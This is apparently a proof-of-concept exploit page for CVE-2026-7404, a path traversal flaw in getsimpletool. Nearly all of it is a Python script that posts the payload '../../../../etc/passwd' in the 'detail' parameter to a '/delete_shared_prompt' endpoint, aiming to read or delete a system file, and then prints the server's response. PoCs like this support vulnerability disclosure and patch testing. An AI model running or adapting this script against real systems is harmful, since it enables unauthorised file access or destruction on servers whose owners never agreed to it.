CVE-2026-7404 getsimpletool路径穿越漏洞

import requests def exploit(target_url): """ PoC for CVE-2026-7404 Demonstrates path traversal via the 'detail' parameter. """ # Malicious payload to traverse directories # Example: trying to delete or access sensitive files payload = { "detail": "../../../../etc/passwd" } try: # Sending the malicious request (Assuming POST based on API context) response = requests.post(f"{target_url}/delete_shared_prompt", json=payload) if response.status_code == 200: print("[+] Request sent successfully. Check if file was affected.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://127.0.0.1:8000" exploit(target)